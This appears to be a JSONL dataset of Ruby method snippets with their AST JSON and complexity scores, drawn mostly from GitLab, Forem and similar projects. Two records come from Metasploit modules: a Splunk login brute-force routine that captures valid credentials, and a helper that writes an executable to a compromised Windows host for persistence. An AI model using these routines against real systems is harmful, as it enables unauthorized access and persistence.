{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250225001149_new_fk_for_work_item_type_user_preferences_work_item_type_id.rb","start_line":16,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key_if_exists :work_item_type_user_preferences,\n        :work_item_types,\n        column: :work_item_type_id,\n        name: NEW_CONSTRAINT_NAME\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"work_item_type_user_preferences\"]},{\"type\":\"sym\",\"children\":[\"work_item_types\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"work_item_type_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"NEW_CONSTRAINT_NAME\"]}]}]}]}]}]}","id":"a594335a-e2ab-4a18-bba4-d2ac89b89751"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/storage/mongodb.rb","start_line":79,"raw_source":"def load_page(hash)\n        BINARY_FIELDS.each do |field|\n          hash[field] = hash[field].to_s\n        end\n        Page.from_hash(hash)\n      end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"load_page\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BINARY_FIELDS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"from_hash\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}","id":"0bf1be62-be93-4fef-bd46-fd71d0156ede"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/services/work_items/data_sync/cloneable_and_moveable_data_stared_examples.rb","start_line":91,"raw_source":"def wi_award_emoji(work_item)\n    work_item.reload.award_emoji.pluck(:user_id, :name)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"wi_award_emoji\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item\"]},\"reload\"]},\"award_emoji\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]}","id":"c501b076-005f-4f4b-8e6e-3c7e0bc888b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/repositories/tree_finder.rb","start_line":9,"raw_source":"def initialize(project, params = {})\n      @project = project\n      @repository = project.repository\n      @params = params\n      @next_cursor = nil\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@repository\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"repository\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@next_cursor\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"70fa64c0-6449-43bb-87ad-b9a1d9b6b2d7"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/notifications/moderation/send.rb","start_line":8,"raw_source":"def self.call(...)\n        new(...).call\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]},\"call\"]}]}","id":"110b417b-799d-4061-a127-e1e8741c69db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concurrency_limit/resume_worker.rb","start_line":88,"raw_source":"def cleanup_stale_trackers(worker)\n      Gitlab::SidekiqMiddleware::ConcurrencyLimit::ConcurrencyLimitService.cleanup_stale_trackers(worker.name)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup_stale_trackers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SidekiqMiddleware\"]},\"ConcurrencyLimit\"]},\"ConcurrencyLimitService\"]},\"cleanup_stale_trackers\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"name\"]}]}]}","id":"7ebaaee7-a305-40af-8985-ef9e74fba2fe"}
{"repo_name":"forem","file_path":"./repos/forem/app/lib/url.rb","start_line":65,"raw_source":"def self.comment(comment)\n    # Use cached lookup to avoid N+1 queries\n    subforem_id = if comment.commentable.class.name == \"Article\" && comment.commentable.respond_to?(:subforem_id)\n                    comment.commentable.subforem_id || RequestStore.store[:default_subforem_id]\n                  else\n                    RequestStore.store[:subforem_id]\n                  end\n    return url(comment.path) unless subforem_id\n    \n    domain = Subforem.cached_id_to_domain_hash[subforem_id]\n    url(comment.path, domain)\n  end","complexity_score":28.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subforem_id\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"commentable\"]},\"class\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Article\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"commentable\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"subforem_id\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"commentable\"]},\"subforem_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"store\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"default_subforem_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"store\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subforem_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subforem_id\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subforem\"]},\"cached_id_to_domain_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"subforem_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}","id":"d25eb6f0-0393-473e-b025-e43382e49602"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/api.rb","start_line":540,"raw_source":"def add_to_queue\n      remove_job do |message|\n        msg = Sidekiq.load_json(message)\n        Sidekiq::Client.push(msg)\n      end\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_to_queue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_job\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"load_json\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Client\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"3cff9279-beeb-4bf2-8549-05b3c66a515a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/splunk_web_login.rb","start_line":168,"raw_source":"def do_login(user, pass)\n    vprint_status(\"Trying username:'#{user}' with password:'#{pass}'\")\n    begin\n      cval = ''\n      uid, session_id_port, session_id, cval = get_login_cookie\n      if !uid or !session_id_port or !session_id or !cval\n        print_error(\"Failed to get login cookies, aborting!\")\n        return :abort\n      end\n\n      res = send_request_cgi(\n        {\n          'uri' => datastore['URI'],\n          'method' => 'POST',\n          'cookie' => \"uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}\",\n          'vars_post' =>\n            {\n              'cval' => cval,\n              'username' => user,\n              'password' => pass\n            }\n        }\n      )\n\n      if not res\n        vprint_error(\"FAILED LOGIN. '#{user}' : '#{pass}' returned no response\")\n        return :skip_pass\n      end\n\n      unless res.code == 303 || (res.code == 200 && res.body.to_s.index('{\"status\":0}'))\n        vprint_error(\"FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}\")\n        return :skip_pass\n      end\n\n      print_good(\"SUCCESSFUL LOGIN. '#{user}' : '#{pass}'\")\n      report_cred(ip: datastore['RHOST'], port: datastore['RPORT'], user: user, password: pass, proof: res.code.to_s)\n\n      return :next_user\n    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT\n      print_error(\"HTTP Connection Failed, Aborting\")\n      return :abort\n    end\n  end","complexity_score":62.38,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying username:'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' with password:'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cval\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uid\"]},{\"type\":\"lvasgn\",\"children\":[\"session_id_port\"]},{\"type\":\"lvasgn\",\"children\":[\"session_id\"]},{\"type\":\"lvasgn\",\"children\":[\"cval\"]}]},{\"type\":\"send\",\"children\":[null,\"get_login_cookie\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uid\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_id_port\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_id\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cval\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to get login cookies, aborting!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"abort\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"uid=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uid\"]}]},{\"type\":\"str\",\"children\":[\"; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_id_port\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_id\"]}]},{\"type\":\"str\",\"children\":[\"; cval=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cval\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cval\"]},{\"type\":\"lvar\",\"children\":[\"cval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"FAILED LOGIN. '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' : '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\"' returned no response\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_pass\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[303]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"index\",{\"type\":\"str\",\"children\":[\"{\\\"status\\\":0}\"]}]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"FAILED LOGIN. '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' : '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\"' with code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_pass\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SUCCESSFUL LOGIN. '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' : '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_s\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"next_user\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNREFUSED\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ETIMEDOUT\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"HTTP Connection Failed, Aborting\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"abort\"]}]}]}]},null]}]}]}]}","id":"3069d222-347a-44b7-8475-5781d5aef11a"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/utils.rb","start_line":58,"raw_source":"def unescape(s, encoding = Encoding::UTF_8)\n      URI.decode_www_form_component(s, encoding)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unescape\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]},{\"type\":\"optarg\",\"children\":[\"encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"UTF_8\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"decode_www_form_component\",{\"type\":\"lvar\",\"children\":[\"s\"]},{\"type\":\"lvar\",\"children\":[\"encoding\"]}]}]}","id":"cb428360-267b-46c9-87cf-2c5f95194317"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/paperclip/attachment_extensions.rb","start_line":50,"raw_source":"def storage_schema_version\n      instance_read(:storage_schema_version) || 0\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_schema_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_read\",{\"type\":\"sym\",\"children\":[\"storage_schema_version\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}","id":"0b5d907a-c0a7-4acc-b0f5-e0be906a46c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/seed/build/cache.rb","start_line":42,"raw_source":"def key_string\n              key_from_string || key_from_files\n            end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"key_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_from_string\"]},{\"type\":\"send\",\"children\":[null,\"key_from_files\"]}]}]}","id":"a7f5768d-d470-4a44-b118-b84cda05fd2a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_line_after_guard_clause.rb","start_line":99,"raw_source":"def correct_style?(node)\n          !contains_guard_clause?(node) ||\n            next_line_rescue_or_ensure?(node) ||\n            next_sibling_parent_empty_or_else?(node) ||\n            next_sibling_empty_or_guard_clause?(node)\n        end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"correct_style?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"contains_guard_clause?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"next_line_rescue_or_ensure?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"next_sibling_parent_empty_or_else?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"next_sibling_empty_or_guard_clause?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"013e3fad-8c9d-418e-a0c1-89e8da81cc4b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/persistence_service.rb","start_line":156,"raw_source":"def write_file_to_target(temprexe, rexe)\n    fd = session.fs.file.new(temprexe, \"wb\")\n    fd.write(rexe)\n    fd.close\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"write_file_to_target\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"temprexe\"]},{\"type\":\"arg\",\"children\":[\"rexe\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"fs\"]},\"file\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"temprexe\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"rexe\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"close\"]}]}]}","id":"e081e17c-358f-4ff8-9569-d3691b07282c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/api_guard.rb","start_line":141,"raw_source":"def check_language_server_client!(user)\n        return unless api_request? && user.is_a?(User)\n\n        response = Gitlab::Auth::EditorExtensions::LanguageServerClientVerifier.new(\n          current_user: user,\n          request: current_request\n        ).execute\n\n        raise Gitlab::Auth::RestrictedLanguageServerClientError, response.message if response.error?\n      end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_language_server_client!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_request?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"EditorExtensions\"]},\"LanguageServerClientVerifier\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request\"]},{\"type\":\"send\",\"children\":[null,\"current_request\"]}]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"error?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"RestrictedLanguageServerClientError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"message\"]}]},null]}]}]}","id":"19faff77-cb4a-48b5-8f5e-7a1b8d2bde7a"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/telligent.rb","start_line":357,"raw_source":"def parent_category_id_for(row)\n    category_id_from_imported_category_id(\"G#{row[\"GroupId\"]}\") if row.key?(\"GroupId\")\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"parent_category_id_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"key?\",{\"type\":\"str\",\"children\":[\"GroupId\"]}]},{\"type\":\"send\",\"children\":[null,\"category_id_from_imported_category_id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"G\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GroupId\"]}]}]}]}]},null]}]}","id":"1961e020-c224-4ef9-a582-2e131f670bc9"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/cloud_manager/template.rb","start_line":58,"raw_source":"def self.import_image_queue(userid, ext_management_system, options = {})\n    task_opts = {\n      :action => \"Importing Cloud Template for user #{userid}\",\n      :userid => userid\n    }\n\n    queue_opts = {\n      :class_name  => name,\n      :method_name => 'import_image',\n      :role        => 'ems_operations',\n      :zone        => ext_management_system.my_zone,\n      :queue_name  => ext_management_system.queue_name_for_ems_operations,\n      :args        => [ext_management_system.id, options]\n    }\n\n    MiqTask.generic_action_with_callback(task_opts, queue_opts)\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"import_image_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"userid\"]},{\"type\":\"arg\",\"children\":[\"ext_management_system\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"task_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Importing Cloud Template for user 